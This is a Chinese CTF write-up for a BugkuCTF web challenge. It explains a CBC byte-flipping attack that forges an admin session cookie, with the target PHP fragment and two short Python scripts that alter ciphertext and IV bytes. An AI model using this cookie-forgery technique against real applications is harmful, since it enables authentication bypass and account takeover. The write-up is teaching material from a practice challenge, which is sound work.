}if(isset($_POST['username']) && isset($_POST['password'])){$username = (string)$_POST['username'];$password = (string)$_POST['password'];if($username === 'admin'){exit('<p>admin are not allowed to login</p>');}else{$info = array('username'=>$username,'password'=>$password);login($info);show_homepage();}
}else{if(isset($_SESSION["username"])){check_login();show_homepage();}else{...html code...}
}
?>

进行代码审计,可以看到要想获得flag需要以admin的身份登陆,但是又禁止了直接用admin登录,但是是通过获取cookie中的值来判断是否为admin,所以就需要利用cookie伪造登录。

这里把登录的用户名及其密码存入数组,序列化后进行AES-CBC模式的加密,其中iv和cipher以cookie储存,可以控制,导致存在攻击的可能,即利用CBC字节翻转攻击。

在CBC模式下,加密过程中前一块的密文会用来产生后一块的密文,解密过程中前一块的密文会用来产生下一块明文。

这样如上图所示,如果我们改变前一块密文的一个字节,当它被用来与下一块密文解密后的值进行异或时,就会影响原来的那一个字节,从而修改了解密后明文的一个字节。

在这一题中,我们可以先注册一个用户名为Admin的用户,得到如下序列化串:

a:2:{s:8:"username";s:5:"Admin";s:8:"password";s:5:"Lethe";}

然后进行分组,根据iv可知16字节为一组:

a:2:{s:8:"userna
me";s:5:"Admin";
s:8:"password";s
:5:"Lethe";}

我们要做的就是利用CBC字节翻转攻击将这里的A修改为a,即第二块偏移量为9的位置,对应的我们需要修改第一块相同偏移位置的值,从而使异或后的值为A。

from urllib.parse import *
from base64 import *cipher = unquote('5xk%2Fxj9S6VwrA1440izsIdOT5JkK%2FyyM4%2BVy8dHSegZO6I5jBESTxFltBW9d7qxSacEzFhXDKvo7qSG85dzAPQ%3D%3D')cipher = b64decode(cipher).decode('unicode_escape')cipher = cipher[:9] + chr(ord(cipher[9]) ^ ord('A') ^ ord('a')) + cipher[10:]print(quote(b64encode(cipher.encode('latin-1')).decode()))

将得到的值url编码一些修改为cipher的值得到:

这里还有一个问题,我们为了修改A,修改了第一块分组,这样反序列化就会失败,因此我们必须还得保证第一块分组不变,这可以通过修改iv来实现。

from urllib.parse import *
from base64 import *
# 新页面得到的iv
iv = unquote('pW4LieJ5j8bVoEFMORTYPA%3D%3D')
# 回显的plain值
plain = 'VxqqyZUYQyfs7WUL/CM2TW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6IkxldGhlIjt9'plain = b64decode(plain).decode('unicode_escape')
iv = b64decode(iv).decode('unicode_escape')right = 'a:2:{s:8:"userna'newiv = ''
for i in range(16):newiv += chr(ord(right[i]) ^ ord(iv[i]) ^ ord(plain[i]))print(quote(b64encode(newiv.encode('latin-1')).decode()))

将得到的值修改为iv,刷新页面得到flag:

BugkuCTF Writeup——Web相关推荐

  1. BugkuCTF writeup

    BugkuCTF writeup 前言 web方面 web2 计算器 web基础$_GET web基础$_POST 矛盾 web3 域名解析 你必须让他停下 本地包含 变量1 web5 头等舱 网站被 ...

  2. BugkuCTF之web题之细心

    BugkuCTF之web题之细心 一进网页发现: 这是啥????(黑人问号)一脸的懵逼,查看源代码?发现几个链接欸,点了几下发现,然并卵...发现提示找不到文件,那好吧,就一个一个来试试,试到robo ...

  3. CTF-练习平台 writeup web

    bugku Web WriteUp 刚刚接触ctf没多久,做ctf-练习平台上的题目,有些新的题目,在网上没有找到对应的writeup,所以做了之后就想自己写一个,也顺便理理自己的思路.(没有太多经验 ...

  4. Bugku-CTF (web 持续更新) ——新手ctf记录

    目录 1.滑稽 2.计算器 3.GET 4.POST GET和POST的区别: 5.矛盾 6.alert 7.你必须让他停下 8.game1 9.网站被黑 10.本地管理员 X-Forwarded-F ...

  5. 南京邮电大学网络攻防平台WriteUP——WEB(上)

    前言 南京邮电大学网络攻防平台(http://ctf.nuptsast.com/)是一个集合了WEB.MISC.密码学.PWN.逆向的一个CTF训练平台,对于初次涉及ctf小伙伴来说是非常不错的一个训 ...

  6. 攻防世界writeup——Web(持续更新)

    文章目录 ics-06(XCTF 4th-CyberEarth) NewsCenter( XCTF 4th-QCTF-2018) lottery(XCTF 4th-QCTF-2018) NaNNaNN ...

  7. php scrscriptipt,HCTF 2016 writeup——web篇

    做了5个web题,分享一下思路.. Level-1 1. 2099年的flag 打开链接,提示需要ios99才能得到flag,源码的注释中提示要POST,那么就修改User-Agent头为ios的头, ...

  8. HCTF writeup(web)

    蓝冰 · 2014/11/29 16:47 丘比龙的最爱 10pt 传说,丘比龙是丘比特的弟弟,丘比龙是一只小爱神,虽然有两只翅膀,但因为吃多了,导致身体太胖,所以飞不起来~那么问题来了?!丘比龙吃什 ...

  9. write-up web source

    题目: 打开网址查看源代码发现了一个假的flag,根据提示说只用Linux环境,猜测用kali解决 在kali中首先使用dirsearch命令扫描目录,命令如下: 得到结果: 发现.git泄露,于是利 ...

最新文章

  1. 大轴纸怎么上机器人_岛国首发和尚机器人,地位直逼观世音
  2. 最新 MSDN Library for Visual Studio 2008 SP1
  3. C# 谈谈Interface和通过Interface传递web页面数据
  4. 【图像处理】libtiff读写三维TIFF图像(附详细代码)
  5. 商淘多b2b2c商城系统怎么在个人电脑上安装_企业怎么做好b2b2c商城网站建设?...
  6. ios沙箱模式开启_【iOS】苹果IAP(内购)中沙盒账号使用注意事项
  7. Cookie enable 的检测
  8. python pip 快速安装第三方库和下载好whl文件
  9. ansible自动运维
  10. mysql 拼音排序_mysql汉字字段按拼音排序的方法
  11. 【SonicUI】 VS2008 SP1 编译错误处理。
  12. 基于STM32-ESP8266-阿里云-微信小程序的智慧舒适家庭控制系统项目
  13. 2路10核物理服务器能否虚拟40vcpu,XenServer中Windows 7与XP多vCPU支持配置,cpu 2 核限制...
  14. “汉堡+奶昔”怎么就成了精致生活的热门标签?
  15. 益聚星荣:如果没有现代人类,地球会有什么不同?
  16. Java超市会员管理系统
  17. 纸箱制作机器人邮箱_纸箱机器人衣服制作方法
  18. python标准库os中用来列出_雨课堂答案在哪查,雨课堂2020试题及答案
  19. 【Java.JMS】JMS基础
  20. c++ bitset类用法

热门文章

  1. html 全屏不允许 退出,js实现进入全屏与退出
  2. 以战代练!从应用程序出发练习你的编码技能吧
  3. 【吴恩达deeplearning.ai】Course 5 - 序列模型 - 第二周测验
  4. Centos 安装 JDK
  5. MUI 框架之遮罩蒙版(mask)
  6. 【搜索】[SCOI2009] 生日快乐 BZOJ 1024
  7. 有机中间体5-甲氧基吲哚-3-甲醛CAS:10601-19-1
  8. React Navigation 路由导航库升级 5.x
  9. 微软亚洲研究院的大数据与大智慧
  10. win10粘贴复制快捷键修改